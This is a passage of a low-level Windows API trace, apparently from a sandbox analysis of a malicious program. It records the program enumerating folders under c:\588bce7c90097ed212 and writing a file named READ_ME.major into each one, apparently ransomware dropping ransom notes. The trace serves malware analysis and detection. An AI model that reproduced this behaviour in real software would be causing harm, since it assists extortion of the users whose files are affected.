dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0108.324] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="2052", cAlternateFileName="")) returned 1 [0108.325] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0108.325] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70a8 [0108.325] GetLastError () returned 0x0 [0108.325] SetLastError (dwErrCode=0x0) [0108.325] GetLastError () returned 0x0 [0108.325] SetLastError (dwErrCode=0x0) [0108.325] GetLastError () returned 0x0 [0108.325] SetLastError (dwErrCode=0x0) [0108.325] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0108.325] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccb0 [0108.325] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0108.325] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d1c0 [0108.325] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d320 [0108.325] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0108.325] GetLastError () returned 0x0 [0108.325] SetLastError (dwErrCode=0x0) [0108.325] GetLastError () returned 0x0 [0108.325] SetLastError (dwErrCode=0x0) [0108.325] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0108.325] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0108.325] GetLastError () returned 0x0 [0108.325] SetLastError (dwErrCode=0x0) [0108.325] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0108.325] CreateFileW (lpFileName="\\588bce7c90097ed212\\2052\\READ_ME.major" (normalized: "c:\\588bce7c90097ed212\\2052\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0108.349] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0108.349] WriteFile (in: hFile=0x454, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0108.350] CloseHandle (hObject=0x454) returned 1 [0108.351] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0108.351] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d320 | out: hHeap=0x570000) returned 1 [0108.351] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1c0 | out: hHeap=0x570000) returned 1 [0108.351] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0108.351] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="2070", cAlternateFileName="")) returned 1 [0108.351] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70a8 | out: hHeap=0x570000) returned 1 [0108.351] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0108.351] GetLastError () returned 0x0 [0108.351] SetLastError (dwErrCode=0x0) [0108.351] GetLastError () returned 0x0 [0108.351] SetLastError (dwErrCode=0x0) [0108.351] GetLastError () returned 0x0 [0108.351] SetLastError (dwErrCode=0x0) [0108.351] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0108.351] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc88 [0108.351] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c6fd0 [0108.351] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d210 [0108.351] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d200 [0108.351] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c71c8 [0108.351] GetLastError () returned 0x0 [0108.352] SetLastError (dwErrCode=0x0) [0108.352] GetLastError () returned 0x0 [0108.352] SetLastError (dwErrCode=0x0) [0108.352] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0108.352] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c71c8 | out: hHeap=0x570000) returned 1 [0108.352] GetLastError () returned 0x0 [0108.352] SetLastError (dwErrCode=0x0) [0108.352] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0108.352] CreateFileW (lpFileName="\\588bce7c90097ed212\\2070\\READ_ME.major" (normalized: "c:\\588bce7c90097ed212\\2070\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0108.354] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0108.354] WriteFile (in: hFile=0x454, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0108.355] CloseHandle (hObject=0x454) returned 1 [0108.356] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0108.356] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d200 | out: hHeap=0x570000) returned 1 [0108.356] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d210 | out: hHeap=0x570000) returned 1 [0108.356] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fd0 | out: hHeap=0x570000) returned 1 [0108.356] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="3076", cAlternateFileName="")) returned 1 [0108.356] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0108.356] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0108.356] GetLastError () returned 0x0 [0108.356] SetLastError (dwErrCode=0x0) [0108.356] GetLastError () returned 0x0 [0108.356] SetLastError (dwErrCode=0x0) [0108.356] GetLastError () returned 0x0 [0108.356] SetLastError (dwErrCode=0x0) [0108.356] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c71c8 [0108.356] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccaf8 [0108.356] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70a8 [0108.356] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2f0 [0108.356] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d320 [0108.356] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c6fd0 [0108.356] GetLastError () returned 0x0 [0108.356] SetLastError (dwErrCode=0x0) [0108.356] GetLastError () returned 0x0 [0108.356] SetLastError (dwErrCode=0x0) [0108.356] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0108.356] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fd0 | out: hHeap=0x570000) returned 1 [0108.357] GetLastError () returned 0x0 [0108.357] SetLastError (dwErrCode=0x0) [0108.357] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0108.357] CreateFileW (lpFileName="\\588bce7c90097ed212\\3076\\READ_ME.major" (normalized: "c:\\588bce7c90097ed212\\3076\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0108.366] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0108.366] WriteFile (in: hFile=0x454, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0108.367] CloseHandle (hObject=0x454) returned 1 [0108.367] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0108.367] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d320 | out: hHeap=0x570000) returned 1 [0108.367] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2f0 | out: hHeap=0x570000) returned 1 [0108.367] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70a8 | out: hHeap=0x570000) returned 1 [0108.367] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="3082", cAlternateFileName="")) returned 1 [0108.367] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0108.367] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0108.367] GetLastError () returned 0x0 [0108.367] SetLastError (dwErrCode=0x0) [0108.367] GetLastError () returned 0x0 [0108.367] SetLastError (dwErrCode=0x0) [0108.367] GetLastError () returned 0x0 [0108.367] SetLastError (dwErrCode=0x0) [0108.367] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0108.367] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca08 [0108.367] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c6fd0 [0108.367] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d320 [0108.367] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d290 [0108.367] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7018 [0108.367] GetLastError () returned 0x0 [0108.367] SetLastError (dwErrCode=0x0) [0108.367] GetLastError () returned 0x0 [0108.368] SetLastError (dwErrCode=0x0) [0108.368] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0108.368] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7018 | out: hHeap=0x570000) returned 1 [0108.368] GetLastError () returned 0x0 [0108.368] SetLastError (dwErrCode=0x0) [0108.368] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bee18 [0108.368] CreateFileW (lpFileName="\\588bce7c90097ed212\\3082\\READ_ME.major" (normalized: "c:\\588bce7c90097ed212\\3082\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0108.383] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee18 | out: hHeap=0x570000) returned 1 [0108.383] WriteFile (in: hFile=0x454, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0108.384] CloseHandle (hObject=0x454) returned 1 [0108.384] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0108.384] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d290 | out: hHeap=0x570000) returned 1 [0108.384] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d320 | out: hHeap=0x570000) returned 1 [0108.384] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fd0 | out: hHeap=0x570000) returned 1 [0108.384] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Client", cAlternateFileName="")) returned 1 [0108.384] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0108.384] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c6fd0 [0108.384] GetLastError () returned 0x0 [0108.384] SetLastError (dwErrCode=0x0) [0108.384] GetLastError () returned 0x0 [0108.384] SetLastError (dwErrCode=0x0) [0108.384] GetLastError () returned 0x0 [0108.384] SetLastError (dwErrCode=0x0) [0108.385] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7018 [0108.385] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca30 [0108.385] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0108.385] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d270 [0108.385] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d290 [0108.385] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70a8 [0108.385] GetLastError () returned 0x0 [0108.385] SetLastError (dwErrCode=0x0) [0108.385] GetLastError () returned 0x0 [0108.385] SetLastError (dwErrCode=0x0) [0108.385] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0108.385] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70a8 | out: hHeap=0x570000) returned 1 [0108.385] GetLastError () returned 0x0 [0108.385] SetLastError (dwErrCode=0x0) [0108.385] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0108.385] CreateFileW (lpFileName="\\588bce7c90097ed212\\Client\\READ_ME.major" (normalized: "c:\\588bce7c90097ed212\\client\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0108.386] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0108.386] WriteFile (in: hFile=0x454, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0108.387] CloseHandle (hObject=0x454) returned 1 [0108.387] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0108.387] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d290 | out: hHeap=0x570000) returned 1 [0108.387] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d270 | out: hHeap=0x570000) returned 1 [0108.387] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0108.387] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbc518d00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3ef6, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="DHtmlHeader.html", cAlternateFileName="DHTMLH~1.HTM")) returned 1 [0108.387] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fd0 | out: hHeap=0x570000) returned 1 [0108.388] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0108.388] GetLastError () returned 0x0 [0108.388] SetLastError (dwErrCode=0x0) [0108.388] GetLastError () returned 0x0 [0108.388] SetLastError (dwErrCode=0x0) [0108.388] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0108.388] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0108.388] GetLastError () returned 0x0 [0108.388] SetLastError (dwErrCode=0x0) [0108.388] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5ab450 [0108.388] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ab450 | out: hHeap=0x570000) returned 1 [0108.388] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0108.388] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x159d5, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="DisplayIcon.ico", cAlternateFileName="DISPLA~1.ICO")) returned 1 [0108.388] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0108.388] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0108.388] GetLastError () returned 0x0 [0108.388] SetLastError (dwErrCode=0x0) [0108.388] GetLastError () returned 0x0 [0108.388] SetLastError (dwErrCode=0x0) [0108.388] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0108.388] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0108.388] GetLastError () returned 0x0 [0108.388] SetLastError (dwErrCode=0x0) [0108.388] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc850 [0108.388] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc850 | out: hHeap=0x570000) returned 1 [0108.388] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bef20 [0108.388] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Extended", cAlternateFileName="")) returned 1 [0108.388] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0108.388] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0108.388] GetLastError () returned 0x0 [0108.389] SetLastError (dwErrCode=0x0) [0108.389] GetLastError () returned 0x0 [0108.389] SetLastError (dwErrCode=0x0) [0108.389] GetLastError () returned 0x0 [0108.389] SetLastError (dwErrCode=0x0) [0108.389] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0108.389] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc9b8 [0108.389] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0108.389] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc9b8 | out: hHeap=0x570000) returned 1 [0108.389] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c6fd0 [0108.389] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc8c8 [0108.389] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0108.389] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d320 [0108.389] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d380 [0108.389] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70a8 [0108.389] GetLastError () returned 0x0 [0108.389] SetLastError (dwErrCode=0x0) [0108.389] GetLastError () returned 0x0 [0108.389] SetLastError (dwErrCode=0x0) [0108.389] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0108.389] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70a8 | out: hHeap=0x570000) returned 1 [0108.389] GetLastError () returned 0x0 [0108.389] SetLastError (dwErrCode=0x0) [0108.389] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6368 [0108.390] CreateFileW (lpFileName="\\588bce7c90097ed212\\Extended\\READ_ME.major" (normalized: "c:\\588bce7c90097ed212\\extended\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0108.390] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6368 | out: hHeap=0x570000) returned 1 [0108.390] WriteFile (in: hFile=0x454, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0108.391] CloseHandle (hObject=0x454) returned 1 [0108.391] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0108.391] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d380 | out: hHeap=0x570000) returned 1 [0108.391] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d320 | out: hHeap=0x570000) returned 1 [0108.391] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0108.391] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Graphics", cAlternateFileName="")) returned 1 [0108.391] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0108.392] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0108.392] GetLastError () returned 0x0 [0108.392] SetLastError (dwErrCode=0x0) [0108.392] GetLastError () returned 0x0 [0108.392] SetLastError (dwErrCode=0x0) [0108.392] GetLastError () returned 0x0 [0108.392] SetLastError (dwErrCode=0x0) [0108.392] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0108.392] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca80 [0108.392] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0108.392] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca80 | out: hHeap=0x570000) returned 1 [0108.392] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70a8 [0108.392] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb70 [0108.392] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0108.392] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d260 [0108.392] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d320 [0108.392] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0108.392] GetLastError () returned 0x0 [0108.392] SetLastError (dwErrCode=0x0) [0108.392] GetLastError () returned 0x0 [0108.392] SetLastError (dwErrCode=0x0) [0108.392] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7278 [0108.392] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0108.392] GetLastError () returned 0x0 [0108.392] SetLastError (dwErrCode=0x0) [0108.392] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6508 [0108.393] CreateFileW (lpFileName="\\588bce7c90097ed212\\Graphics\\READ_ME.major" (normalized: "c:\\588bce7c90097ed212\\graphics\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0108.399] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6508 | out: hHeap=0x570000) returned 1 [0108.399] WriteFile (in: hFile=0x454, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 